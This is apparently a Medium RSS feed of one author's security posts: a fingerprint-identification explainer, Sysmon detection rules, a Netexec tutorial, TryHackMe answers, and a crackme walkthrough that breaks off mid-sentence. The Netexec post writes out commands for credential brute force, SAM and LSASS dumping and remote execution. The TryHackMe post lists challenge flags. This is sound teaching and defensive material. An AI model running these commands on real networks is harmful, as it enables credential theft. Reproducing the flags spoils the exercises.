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    <channel>
        <title><![CDATA[Stories by SpaceIO on Medium]]></title>
        <description><![CDATA[Stories by SpaceIO on Medium]]></description>
        <link>https://medium.com/@erioluwaalabi?source=rss-b25bd285d110------2</link>
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            <title>Stories by SpaceIO on Medium</title>
            <link>https://medium.com/@erioluwaalabi?source=rss-b25bd285d110------2</link>
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        <lastBuildDate>Sat, 21 Nov 2026 14:12:27 GMT</lastBuildDate>
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        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
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            <title><![CDATA[Building a Practical AFIS(Automated Fingerprint Identification System) I: Pipeline]]></title>
            <link>https://medium.com/@erioluwaalabi/building-a-practical-afis-automated-fingerprint-identification-system-i-pipeline-22a2332fb8fe?source=rss-b25bd285d110------2</link>
            <guid isPermaLink="false">https://medium.com/p/22a2332fb8fe</guid>
            <category><![CDATA[authentication]]></category>
            <category><![CDATA[biometrics]]></category>
            <category><![CDATA[gdpr]]></category>
            <category><![CDATA[fingerprint]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[SpaceIO]]></dc:creator>
            <pubDate>Tue, 13 Jan 2026 04:36:22 GMT</pubDate>
            <atom:updated>2026-01-13T04:36:22.599Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4nkz2FLhj0WZaHfBK03zVQ.png" /></figure><p>Fingerprinting is one of the oldest and trusted ways humans have been able to identify one another. A simple patter seen in the human hand, one which can’t be changed is one that is been used to translate into digital identity, unique to every individual.</p><p>This project grew from a curiosity about how it works and why it is not used or less used in my country(Nigeria).</p><ul><li>How do computers compare two complex, rough and imperfect human prints?</li></ul><p>Exploring this question, through research and many discoveries, it was revealed AFIS as a powerful blend of computer vision , pattern recognition and intelligent data management.</p><p>Unlike commercial AFIS platforms that are highly complex and locked behind proprietary systems, making them difficult to study in depth, I chose to build a simplified AFIS from the ground up, which has and is helping me to understand what happens in the background. Through this process, the project explores the pipeline;</p><ol><li>Fingerprint Image Acquisition</li><li>Image Preprocessing and enhancement (Noise Reduction, Contrast Normalization, Ridge Orientation and Frequency Estimation, Skeletonization)</li><li>Feature Extraction (Minutiae detection)</li><li>Fingerprint Matching and Similarity Scoring</li><li>Biometric Data Storage, Storage, Security and Ethics</li></ol><h3>1. Fingerprint Image Acquisition</h3><p>Before we can be able to do anything about a fingerprint, we must have had the print with us already. Now, this can be done in multiple ways either physically or digitally. Modern day systems employ one of these primary sensing tech:</p><ul><li>Optical Sensors: They use light refraction principles, capturing ridge patterns through frustrated total internal reflection.</li><li>Capacitive Sensors</li><li>Ultrasonic Sensors</li></ul><h3>2. Image Preprocessing and enhancement</h3><h4>Noise</h4><p>Understanding “Noise” in Fingerprinting is understanding everything that shouldn’t be there but are present in the fingerprint image. Some of what causes noise are;</p><ul><li>Electronic imperfection from the sensor</li><li>Skin Moisture</li><li>Microscopic dust particles, etc.</li></ul><p>The approach here is simple, which is to look for patterns within the noise. We look for what repeats, consistent and what belongs to a true fingerprinting signal. Basically, fingerprinting is hearing the story of a person in a loud environment, you don’t shut down all conversations but you learn to focus on “what matters” while letting the background hum fade away.</p><h4>Contrast Normalization</h4><p>This is a way of ensuring every part of your fingerprint gets equal attention. We look not to destroy the image, but we try to adjust small regions, bringing out hidden details in dark area while reigning in overly bright spots.</p><h4>Ridge Orientation and Frequency</h4><p>This step is where we move from cleaning the fingerprint to understanding it, because just like the way almost every handwriting is unique in pattern, every fingerprint is also unique in flow, curve, arch, loop and whorl patterns.</p><p>Also, we measure frequency, this is how closely spaced are the ridges. In some areas they are packed tightly together, while in others they have breathing room between them. These are the basic things we map out together to better understand the fingerprint, we have at hand.</p><h4>Skeletonization</h4><p>Now, this is where it gets interesting because this is a very important step.</p><p>After cleaning and understanding, we then reduce each ridge from a band of pixels (which may be thicker in some places and thinner in some places), we reduce them to a single line right down it’s center. This doesn’t mean we are losing information or losing the fingerprint, what makes your fingerprint unique is not the ridges itself but the patterns those ridges form or create, so we are basically after the architecture of your print.</p><h3>3. Feature Extraction (Minutiae detection)</h3><p>Now, this is the where I like to call the heart of the AFIS flow because this is where things get personal. Within those flowing ridges are special features called minutiae, tiny but permanent landmarks that make your fingerprint truly yours. Some are ridge endings, where a ridge suddenly stops as if deciding to go no further. Others are bifurcations, where a ridge splits like a fork in a road, creating new paths.</p><p>Finding these features feels like looking at a familiar landscape and noticing the particular way certain trees grow or how specific streams curve , patterns you’d recognize even if you saw them from a different angle or in different light.</p><p>But here’s what’s beautiful about this process: we’re not just collecting points on a map. We’re understanding relationships. How far is this ridge ending from that bifurcation? What angles do they create? It’s like remembering a friend’s face not just by individual features, but by how those features relate to each other, the distance between eyes, the curve of a smile.</p><h3>4. Fingerprint Matching and Similarity Scoring</h3><p>Now after everything, we can now compare what we have gotten to the data we already have on file. Although, it becomes tricky in some cases because;</p><ul><li>One might place their finger differently</li><li>Add pressure while different from the one added the previous time</li><li>and various other reasons</li></ul><p>This is like finding a person within a crowd or a student in a university, we don’t start hopping from one class to the other, we follow a pattern; age, class, level, department, year of study, etc. We also do the same thig here, we search for a pattern unique to the one we now have to the one that we already have and find a match.</p><h3>5. Biometric Data Storage, Storage, Security and Ethics</h3><h4>Beyond Algorithms: The Human Factor</h4><p>The most sophisticated algorithms mean little without responsible data handling. Biometric systems operate at the intersection of technology and identity, demanding extraordinary care.</p><h4>Guide Storage: Irreversibility as Protection</h4><p>We never store fingerprint images, only the mathematical templates derived from them. These templates are engineered to be non-invertible; while sufficient for comparison, they cannot reconstruct the original fingerprint. This one-way transformation protects against data breaches revealing actual fingerprint patterns.</p><h4>Encryption and Access Control: Defense in Depth</h4><p>Templates receive multiple security layers: AES-256 encryption at rest, TLS encryption in transit, and strict access controls. Each access attempt logs comprehensive metadata, who, when, why, creating an auditable trail. Database-level protections include role-based permissions and automatic encryption of sensitive fields.</p><h4>Ethical Implementation: Designing with Conscience</h4><p>Our educational system incorporates ethical safeguards from inception:</p><ul><li>Informed Consent Simulation: Systems require explicit user consent before enrollment</li><li>Bias Detection: Algorithms monitor for demographic performance variations</li><li>Transparency: Users receive clear explanations of data usage and retention policies</li><li>Purpose Limitation: Templates serve only declared purposes, never secondary uses</li><li>Right to Erasure: Simple, accessible template deletion mechanisms</li></ul><h4>The Synthetic Data Advantage</h4><p>For development and testing, we generate synthetic fingerprints using reaction-diffusion patterns that mimic biological ridge formation. These artificial patterns allow extensive testing without compromising real identities, while clearly labeled as synthetic to prevent misuse.</p><h4>Regulatory Alignment</h4><p>While our educational system doesn’t process real identities, it aligns with major frameworks: GDPR’s biometric data protections, ISO/IEC 19794 standards for template formats, and NIST guidelines for biometric system evaluation.</p><h3>Thank You For Reading!</h3><p>Now, this is just for educational purposes and as a guide to how it works in the real world. This shows the steps that are being taken and the flow it takes when created or when it is being run.</p><p>In the second part of this, I will show how I brought this to life using python.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=22a2332fb8fe" width="1" height="1" alt="">]]></content:encoded>
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        <item>
            <title><![CDATA[5 Critical Sysmon Alerts Every Organization Should Know]]></title>
            <link>https://medium.com/@erioluwaalabi/5-critical-sysmon-alerts-every-organization-should-know-e418e0c6ae52?source=rss-b25bd285d110------2</link>
            <guid isPermaLink="false">https://medium.com/p/e418e0c6ae52</guid>
            <category><![CDATA[windows]]></category>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[dfir]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[SpaceIO]]></dc:creator>
            <pubDate>Fri, 19 Dec 2025 10:26:04 GMT</pubDate>
            <atom:updated>2025-12-19T10:26:04.464Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_ro_TXK09KufJkNgBWcZkg.png" /><figcaption>Sysmon Alerts &amp; Events</figcaption></figure><h3><strong>The Blind spot in Modern Defense</strong></h3><p>Most Organizations invest heavily in AVs and EDR solutions, yet struggle with persistent visibility gap. Now while standard Windows Event Logs are useful for compliance, they are just fraction of what can be found there (crime scene), they show what happened but they rarely capture the things that were put into place to make that particular event happen. Well, to truly understand an attacker’s movement, you need a deeper level of forensic telemetry that tracks the execution process step-by-stepand any network connections. <br>Now, this is where “Sysmon (System Monitor)” becomes indispensable. Sysmon provides a granular look into a system’s activity that standard logging will simply miss. A very big challenge with this is managing the noise, because not everything is necessary, you just need to be able to identify which ones are important. By prioritizing this 5 critical Sysmon event IDs, Organizations can build a high-fidelity early warning system that will be able to detect these common attack techniques before they escalate.</p><h3>The 5 Critical Alerts</h3><p><strong>A. Process Creation from unusual parents(Event ID 1)</strong></p><p><strong>Why is it critical?<br></strong>This catches execution chain anomalies, legitimate programs doing things they shouldn’t. <br><strong>What to look for</strong>;</p><pre>&lt;!-- Example Sysmon config rule --&gt;<br>&lt;RuleGroup name=&quot;&quot; groupRelation=&quot;or&quot;&gt;<br>  &lt;ProcessCreate onmatch=&quot;include&quot;&gt;<br>    &lt;!-- Office spawning cmd/powershell --&gt;<br>    &lt;ParentImage name=&quot;Technique ID T1566.001, Phishing&quot; condition=&quot;contains&quot;&gt;winword.exe|excel.exe|outlook.exe|powerpnt.exe&lt;/ParentImage&gt;<br>    &lt;Image condition=&quot;contains&quot;&gt;cmd.exe|powershell.exe|pwsh.exe|wscript.exe|cscript.exe&lt;/Image&gt;<br>    <br>    &lt;!-- Browser spawning executables --&gt;<br>    &lt;ParentImage name=&quot;Technique ID T1189, Drive-by Compromise&quot; condition=&quot;contains&quot;&gt;chrome.exe|firefox.exe|msedge.exe&lt;/ParentImage&gt;<br>    &lt;Image condition=&quot;end with&quot;&gt;.exe&lt;/Image&gt;<br>    <br>    &lt;!-- System binaries spawning scripting engines --&gt;<br>    &lt;ParentImage name=&quot;Technique ID T1059, Command and Scripting Interpreter&quot; condition=&quot;contains&quot;&gt;svchost.exe|services.exe|lsass.exe&lt;/ParentImage&gt;<br>    &lt;Image condition=&quot;contains&quot;&gt;powershell.exe|cmd.exe|wscript.exe&lt;/Image&gt;<br>  &lt;/ProcessCreate&gt;<br>&lt;/RuleGroup&gt;</pre><p><strong>Real World Examples</strong>:</p><ul><li><strong>Attack Chain</strong>: Malicious Word Document(winword.exe) -&gt; Powershell -&gt; Download Malware</li><li><strong>How it appears:</strong></li></ul><pre>ParentImage: C:\Program Files\Microsoft Office\WINWORD.EXE → Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe → CommandLine: -enc JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgACI...</pre><p><strong>MITRE ATT&amp;CK Mapping:</strong> T1566.001(Phishing), T1059(Command and Scripting Interpreter)<br><strong>Questions for Investigators to ask</strong>:</p><ul><li>What user executed what?</li><li>What was full command line?</li><li>What are the processes that follows through?</li></ul><p><strong>B. Raw Disk Access (Event ID 10)</strong></p><p><strong>Why it is critical:</strong><br>It is always been read from LSASS memory by accessing the raw disk device, hence it is always the go to for credential dumping tools like “Mimikatz”.</p><p><strong>What to look for?</strong></p><pre>&lt;RuleGroup name=&quot;&quot; groupRelation=&quot;or&quot;&gt;<br>  &lt;ProcessAccess onmatch=&quot;include&quot;&gt;<br>    &lt;!-- Access to raw disk objects --&gt;<br>    &lt;TargetImage condition=&quot;begin with&quot;&gt;\Device\HarddiskVolume&lt;/TargetImage&gt;<br>    &lt;CallTrace condition=&quot;contains&quot;&gt;dbgcore.dll|dbghelp.dll&lt;/CallTrace&gt;<br>    <br>    &lt;!-- Access to SAM/SYSTEM/SECURITY registry hives via raw device --&gt;<br>    &lt;TargetImage condition=&quot;contains&quot;&gt;\Windows\System32\config\SAM|\Windows\System32\config\SYSTEM&lt;/TargetImage&gt;<br>  &lt;/ProcessAccess&gt;<br>&lt;/RuleGroup&gt;</pre><p><strong>How it appears;</strong></p><pre>Event ID: 10 (ProcessAccess)<br>TargetImage: \Device\HarddiskVolumeShadowCopy[Number]<br>OR<br>TargetImage: \Device\HarddiskVolume[Number]\Windows\System32\config\SAM</pre><p><strong>Why does it matter?</strong></p><p>Malware access suspicious processes called “stacks”. In predictable ways, legitimate backup software uses Volume Shadow Copy.</p><p><strong>How to detect it?</strong></p><p>When combined with Parent process Analysis, if svchost.exe access raw disk then it is all fine but when mimikatz.exe or any unknown binary does it, then it is critical.</p><p><strong>MITRE ATT&amp;CK Mapping:</strong> T1003(OS Credential Dumping)</p><p><strong>C. DLL Loading(Event ID 7)</strong></p><p><strong>Why it is critical?</strong></p><p>One of the favorite techniques for sophisticated malware to hide in plain sight is called DLL sideloading and injection.</p><p>There are 3 key malicious patterns</p><ol><li>DLL sideloading: Legitimate programs loads malicious DLL from writable directory</li><li>Living off the land DLLs: Malicious use of legitimate windows DLLs</li></ol><ul><li>Look for C:\Windows\System32\amsi.dll being loaded into scripting engines (often indicates AMSI bypass attempts)</li><li>C:\Windows\System32\comsvcs.dll loaded with rundll32.exe (indicates potential dump of LSASS memory)</li></ul><p>3. Remote DLL injection: One process loading DLLs into another process’s memory space</p><pre>Event ID: 7 (Image loaded)<br>Image: C:\malicious.dll<br>ProcessGuid: {GUID}  &lt;-- This is the target process being injected into</pre><p><strong>Real World Example:</strong> A compromised accounting software loads version.dll from C:\Temp\ instead of C:\Windows\System32\. This unsigned DLL in a temp directory should trigger immediate investigation.</p><p><strong>MITRE ATT&amp;CK Mapping:</strong> T1574 (Hijack Execution Flow)</p><p><strong>D. Named Pipe Creation(Event ID 17(creation) and 18(connection))<br>Why is this critical?</strong></p><p>Named Pipes are inter-process communication channels heavily used by malware for command &amp; control(C2) and lateral movement.</p><p>What to look for;</p><pre>&lt;RuleGroup name=&quot;&quot;&gt;<br>  &lt;PipeEvent onmatch=&quot;include&quot;&gt;<br>    &lt;!-- Common malware/C2 pipe names --&gt;<br>    &lt;PipeName condition=&quot;contains&quot;&gt;\pipe\paexec|\pipe\remcom|\pipe\atexec|\pipe\csexec&lt;/PipeName&gt;<br>    &lt;PipeName condition=&quot;contains&quot;&gt;\pipe\winsession|\pipe\psexec&lt;/PipeName&gt;<br>    <br>    &lt;!-- Obfuscated or random-looking pipes --&gt;<br>    &lt;PipeName condition=&quot;contains&quot;&gt;\pipe\{&lt;/PipeName&gt;<br>    &lt;PipeName condition=&quot;regex&quot;&gt;^.*\\pipe\\[a-f0-9]{16,}.*$&lt;/PipeName&gt;<br>    <br>    &lt;!-- Impacket-style pipes --&gt;<br>    &lt;PipeName condition=&quot;contains&quot;&gt;\pipe\svcctl&lt;/PipeName&gt;<br>  &lt;/PipeEvent&gt;<br>&lt;/RuleGroup&gt;</pre><p><strong>Why this?</strong></p><ul><li>C2 Communication: Named pipes are used for communication between implants by many malware families</li><li>Lateral Movements: Tools like PsExec and Impacket’s smbexec create named pipes for RCE</li><li>Privilege Escalation: Some exploits use named pipes for priv exec</li></ul><p><strong>How to investigate?</strong></p><p>Ensure to always check what process created the pipe and what user context runs after under it. If there is any created by powershell.exe as a regular user, that is a suspicious event.</p><p><strong>MITRE ATT&amp;CK Mapping:</strong> T1570(Lateral Tool Transfer), T1559(inter-Process Communication)</p><p><strong>E. File Creation in System Directories(Event ID 11)</strong></p><p>Why it is critical: New creation of files should be something that should be rarely seen in the directories of systems, however when this occurs it is often malware establishing persistence</p><p>High priority directories to monitor:</p><pre>&lt;RuleGroup name=&quot;&quot;&gt;<br>  &lt;FileCreate onmatch=&quot;include&quot;&gt;<br>    &lt;!-- Executables/DLLs in system directories --&gt;<br>    &lt;TargetFilename name=&quot;Technique ID T1543, Create or Modify System Process&quot; condition=&quot;contains&quot;&gt;C:\Windows\System32\&lt;/TargetFilename&gt;<br>    &lt;TargetFilename condition=&quot;end with&quot;&gt;.exe|.dll|.sys&lt;/TargetFilename&gt;<br>    <br>    &lt;!-- Startup folders --&gt;<br>    &lt;TargetFilename name=&quot;Technique ID T1547, Boot or Logon Autostart Execution&quot; condition=&quot;contains&quot;&gt;\Start Menu\Programs\Startup\&lt;/TargetFilename&gt;<br>    <br>    &lt;!-- Service-related directories --&gt;<br>    &lt;TargetFilename condition=&quot;contains&quot;&gt;C:\Windows\ServiceProfiles\&lt;/TargetFilename&gt;<br>    <br>    &lt;!-- Driver directory --&gt;<br>    &lt;TargetFilename condition=&quot;contains&quot;&gt;C:\Windows\System32\drivers\&lt;/TargetFilename&gt;<br>    &lt;TargetFilename condition=&quot;end with&quot;&gt;.sys&lt;/TargetFilename&gt;<br>  &lt;/FileCreate&gt;<br>&lt;/RuleGroup&gt;</pre><p>Common attack scenarios:</p><ol><li>Service Installation: Malware drops .exe in C:\Windows\System32\ and creates a service</li><li>Driver-Based Persistence: Rootkits install .sys files in the drivers directory</li><li>Startup Folder: Simple but effective — malware copies itself to startup folder</li><li>DLL Search Order Hijacking: Malicious DLL placed in system directory to be loaded by legitimate processes</li></ol><p>Critical nuance: Exclude known legitimate publishers and Windows updates. Focus on unsigned files or files with suspicious metadata.</p><p>MITRE ATT&amp;CK Mapping: T1543 (Create or Modify System Process), T1547 (Boot or Logon Autostart Execution)</p><h3>Implementation Section</h3><h3>How to Deploy These Alerts</h3><p>Step 1: Get the Right Configuration</p><ul><li>Start with SwiftOnSecurity’s Sysmon config (community standard)</li><li>Add these specific rules to the existing config</li><li>Test in a lab environment first</li></ul><p>Step 2: Deployment Options</p><pre># Quick test on a single machine<br>sysmon.exe -accepteula -i config.xml<br><br># Enterprise deployment via GPO<br>Computer Configuration → Preferences → Windows Settings → Files</pre><p>Step 3: Log Collection Architecture</p><pre>Simple: Windows Event Forwarding to a central server<br>Scalable: Sysmon → Winlogbeat → ELK Stack<br>Enterprise: Sysmon → EDR/XDR Integration</pre><p>Step 4: Alerting &amp; Tuning</p><ul><li>Start with broader alerts, then tighten based on false positives</li><li>Create dashboards for each alert type</li><li>Establish investigation playbooks for each alert</li></ul><h3>Common Pitfalls &amp; How to Avoid Them</h3><ol><li>“Too Many Alerts” Problem</li></ol><ul><li>Solution: Start with exclude rules for known legitimate software</li><li>Use threat intelligence to prioritize</li></ul><p>2. Performance Concerns</p><ul><li>Properly tuned Sysmon uses lesser than 5% of the CPU</li><li>Exclude noisy but low-value processes</li></ul><p>3. Evasion Awareness</p><ul><li>Some malware detects and disables Sysmon</li><li>Monitor for Sysmon service/driver tampering (Event ID 255)</li></ul><h3>Conclusions</h3><p>Summary: These 5 alerts should give you visibility into some of the most critical phases of an attack:</p><ul><li>Initial execution</li><li>Credential access</li><li>Defense evasion</li><li>Lateral movement</li><li>Persistence</li></ul><p><strong>Immediate Actions:</strong></p><ol><li>Deploy these rules to one critical server</li><li>Test with atomic red team simulations</li><li>Roll out to all critical assets</li></ol><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e418e0c6ae52" width="1" height="1" alt="">]]></content:encoded>
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        <item>
            <title><![CDATA[Netexec 101: Basic Usage & Installation]]></title>
            <link>https://medium.com/@erioluwaalabi/netexec-101-basic-usage-installation-6ee5a11d2a4a?source=rss-b25bd285d110------2</link>
            <guid isPermaLink="false">https://medium.com/p/6ee5a11d2a4a</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[offensive-security]]></category>
            <category><![CDATA[linux]]></category>
            <dc:creator><![CDATA[SpaceIO]]></dc:creator>
            <pubDate>Thu, 11 Dec 2025 16:32:13 GMT</pubDate>
            <atom:updated>2025-12-11T16:32:13.039Z</atom:updated>
            <content:encoded><![CDATA[<h3>Netexec 101: Basic Usage &amp; Installations</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/208/1*6BqUgkLif23-h0EDgjX_wA.png" /></figure><h3>Introduction</h3><p>Netexec(nxc) was formerly known as CrackMapExec or CME. It is a powerful post-esploitation tool for network penetration testing, it is a tol that is designed to help professionals in the security ecosystem to assess and exploit Windows Active Directory enviroments and network services</p><h3>Protocols it Supports</h3><ol><li>SMB (Server Message Block): Share enumeration, file operations, command execution</li><li>MSSQL (Microsoft SQL Server): Database interaction, command execution via xp_cmdshell</li><li>RDP (Remote Desktop Protocol): Session management, credential checking</li><li>WinRM (Windows Remote Management): PowerShell execution</li><li>LDAP (Lightweight Directory Access Protocol): Active Directory queries</li><li>SSH (Secure Shell): Command execution on Unix/Linux systems</li></ol><h3>Installations</h3><p># Using pipx (isolated Python environment)<br>pipx install netexec</p><p># OR using pip<br>pip install netexec</p><p># Verify installation<br>nxc — version</p><p>or you can clone it from github</p><p>git clone <a href="https://github.com/byt3bl33d3r/NetExec.git">https://github.com/byt3bl33d3r/NetExec.git</a><br>cd NetExec<br>poetry install<br>poetry shell</p><h3>Basic SMB Scan</h3><p># Check SMB signing requirements<br>nxc smb 192.168.1.0/24 — gen-relay-list relay_targets.txt</p><p># List shares with anonymous access<br>nxc smb 192.168.1.0/24 -u ‘’ -p ‘’ — shares</p><p># Brute force credentials<br>nxc smb 192.168.1.100 -u users.txt -p passwords.txt</p><h3>Active Directory Enumerations</h3><p># Enumerate logged-on users<br>nxc smb 192.168.1.0/24 -u ‘DOMAIN\user’ -p ‘Password123’ — loggedon-users</p><p># List domain groups<br>nxc smb 192.168.1.10 -u ‘user’ -p ‘pass’ — groups</p><p># Check for local admin access<br>nxc smb 192.168.1.0/24 -u ‘user’ -p ‘pass’ — local-auth -M lsassy</p><h3>Command Exec</h3><p># Execute command via SMB (psexec style)<br>nxc smb 192.168.1.50 -u Administrator -p ‘P@ssw0rd’ -x ‘whoami’</p><p># Execute PowerShell command via WinRM<br>nxc winrm 192.168.1.50 -u user -p pass -X ‘Get-Process’</p><p># Execute via MSSQL<br>nxc mssql 192.168.1.100 -u sa -p ‘sqlpass’ -x ‘hostname’</p><h3>Data Collection</h3><p># Dump SAM database<br>nxc smb 192.168.1.50 -u Administrator -p ‘P@ssw0rd’ — sam</p><p># Extract LSASS memory (needs appropriate modules)<br>nxc smb 192.168.1.50 -u Administrator -p ‘P@ssw0rd’ -M sekurlsa</p><p># Search for sensitive files<br>nxc smb 192.168.1.0/24 -u user -p pass — spider “*.pdf” — content</p><h3>Using Module system</h3><p># List available modules<br>nxc smb -L</p><p># Use a specific module<br>nxc smb 192.168.1.50 -u user -p pass -M mimikatz</p><p># Module with options<br>nxc smb 192.168.1.50 -u user -p pass -M bloodhound -o COLLECTION_METHOD=All</p><h3>Common or Popular Modules</h3><ol><li>mimikatz: Credential dumping</li><li>lsassy: LSASS memory extraction</li><li>bloodhound: BloodHound data collection</li><li>zerologon: CVE-2020–1472 exploitation</li><li>petitpotam: NTLM relay attack vector</li><li>smbghost: CVE-2020–0796 detection</li></ol><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6ee5a11d2a4a" width="1" height="1" alt="">]]></content:encoded>
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            <title><![CDATA[Tryhackme Advent of Cyber 2025 (Day1–5)]]></title>
            <link>https://medium.com/@erioluwaalabi/tryhackme-advent-of-cyber-2025-day1-5-c6fa2cbf6eae?source=rss-b25bd285d110------2</link>
            <guid isPermaLink="false">https://medium.com/p/c6fa2cbf6eae</guid>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[ctf]]></category>
            <dc:creator><![CDATA[SpaceIO]]></dc:creator>
            <pubDate>Wed, 10 Dec 2025 14:03:05 GMT</pubDate>
            <atom:updated>2025-12-10T14:03:05.349Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Lv0QpTTUn7A44RwSHRLcyg.png" /></figure><p>Welcome to Tryhackme Advent of Cyber 2025</p><h3><strong>Day 1: Linux CLI — Shells Bells</strong></h3><ol><li>Which CLI command would you use to list a directory?</li></ol><p>&gt; ls</p><p>Complete on machine</p><p>&gt; THM{learning-linux-cli}</p><p>2. Which command helped you filter the logs for failed logins?</p><p>&gt; grep</p><p>Complete on Machine</p><p>&gt; THM{sir-carrotbane-attacks}</p><p>3. Which command would you run to switch to the root user?</p><p>&gt; sudo su</p><p>Finally, what flag did Sir Carrotbane leave in the root bash history?</p><p>&gt; THM{until-we-meet-again}</p><h3>Day 2: Phishing — Merry Clickmas</h3><ol><li>What is the password used to access the TBFC portal?</li></ol><p>&gt; unranked-wisdom-anthem</p><p>2. Browse to http://MACHINE_IP from within the AttackBox and try to access the mailbox of the factory user to see if the previously harvested admin password has been reused on the email portal. What is the total number of toys expected for delivery?</p><p>&gt; 1984000</p><h3>Day 3: Splunk Basics — Did you SIEM?</h3><ol><li>What is the attacker IP found attacking and compromising the web server?</li></ol><p>&gt; 198.51.100.55</p><p>2. Which day was the peak traffic in the logs? (Format: YYYY-MM-DD)</p><p>&gt; 2025–10–12</p><p>3. What is the count of Havij user_agent events found in the logs?</p><p>&gt; 993</p><p>4. How many path traversal attempts to access sensitive files on the server were observed?</p><p>&gt; 658</p><p>5. Examine the firewall logs. How many bytes were transferred to the C2 server IP from the compromised web server?</p><p>&gt; 126167</p><h3>Day 4: AI in Security — old sAInt nick</h3><ol><li>Complete the AI showcase by progressing through all of the stages. What is the flag presented to you?</li></ol><p>&gt; THM{AI_MANIA}</p><p>2. Execute the exploit provided by the red team agent against the vulnerable web application hosted at MACHINE_IP:5000. What flag is provided in the script&#39;s output after it?</p><p>Remember, you will need to update the IP address placeholder in the script with the IP of your vulnerable machine (MACHINE_IP:5000)</p><p>&gt; THM{SQLI_EXPLOIT}</p><h3>Day 5: IDOR — Santa’s Little IDOR</h3><ol><li>What does IDOR stand for?</li></ol><p>&gt; Insecure Direct Object Reference</p><p>2. What type of privilege escalation are most IDOR cases?</p><p>&gt; Horizontal</p><p>3. Exploiting the IDOR found in the view_accounts parameter, what is the user_id of the parent that has 10 children?</p><p>&gt; 15</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c6fa2cbf6eae" width="1" height="1" alt="">]]></content:encoded>
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            <title><![CDATA[Reverse Engineering with Tryhackme(Easy)]]></title>
            <link>https://medium.com/@erioluwaalabi/reverse-engineering-with-tryhackme-easy-e7daad7b40c8?source=rss-b25bd285d110------2</link>
            <guid isPermaLink="false">https://medium.com/p/e7daad7b40c8</guid>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[reverse-engineering]]></category>
            <dc:creator><![CDATA[SpaceIO]]></dc:creator>
            <pubDate>Fri, 22 Aug 2025 12:01:36 GMT</pubDate>
            <atom:updated>2025-08-22T12:01:36.060Z</atom:updated>
            <content:encoded><![CDATA[<p>Reverse Engineering was one of the hardest part of Cybersecurity for me to understand, so this walkthrough is going to be well detailed and explanatory for beginners to read and understand.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*me0hl-zR80cRJy15lSiSKQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FpLYGBRkCzGZKCFzIO2lLA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FaDtMbaeJiXcLNU_Jdw1EQ.png" /></figure><p>Alright so we have 8 tasks, let&#39;s get started.</p><p>Before we do, you need to understand that we’ll be dealing with files, not “txt” or other common files but we’ll be dealing with “ELF” files (Executable and Linkable Format).</p><h3># Crackme1</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/418/1*Xeq472_hiko-pC5IfhXhYg.png" /></figure><p>So after confirming that the file is an ELF file, I went ahead to change the permissions to enable me execute it and after executing we get our flag, very easy.</p><h3># Crackme2</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/859/1*DLz1bYmo-_PThx5W11SE9A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/587/1*m6bn398IHlXPJjONZmQORg.png" /></figure><p>Now we are getting into more techniques. The “<strong>strings</strong>” command is used to; <strong>extracts and prints human-readable text</strong> (ASCII or Unicode) from binary files (like ELF executables, object files, core dumps, or even images).</p><ul><li>It scans through a file, looking for sequences of <strong>printable characters</strong> (default: 4 or more in a row).</li><li>Useful for analyzing <strong>compiled binaries</strong> where the source code is not available.</li></ul><p>After changing it to an executable format, from the view above we can see the output that the command gives us, we know it requires a password. Reading the output of the strings command we can see the part that tells us what the password is meant to be (i.e super_secret_password), so we got that because we were able to use the string format to get ASCII characters. We then execute it while adding the password and we get our flag.</p><p>Easy Peasy.</p><h3># Crackme3</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/902/1*tGShjOz8n7SEzOCaAR3YNw.png" /></figure><p>Just like the previous task, we runt the strings command on our file and when we do, we get an encoded text, from the format we can easily tell it is in base64. We grab that and run a decode on it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1016/1*AVstFLB1AYloYplzc67OUA.png" /></figure><p>And surely, we get our flag.</p><h3># Crackme4</h3><p>So for this next task we’ll be using a tool in kali called “gdb”, so we type in the command “<strong>gdb</strong>” with our next file “crackme4&quot; (chmod +x crackme4 should have been run before hand though) on our terminal and run</p><h3>&gt; What is GDB?</h3><p><strong>GDB (GNU Debugger)</strong> is a powerful tool used to debug programs written in languages like <strong>C, C++, Fortran, Go, etc.</strong></p><p>It allows you to:</p><ul><li>Run a program <strong>step by step</strong> instead of all at once.</li><li><strong>Pause execution</strong> at certain lines (breakpoints).</li><li><strong>Inspect variables, memory, and registers</strong> while the program runs.</li><li><strong>Trace function calls</strong> and follow the program’s flow.</li><li><strong>Find bugs</strong> like segmentation faults, crashes, or incorrect values.</li></ul><p>In short: GDB helps you understand <strong>what your program is really doing</strong> at runtime, I hope this helps clarify what the tool does.</p><p>We type in the command in our gdb and then we should have a similar screen with the one 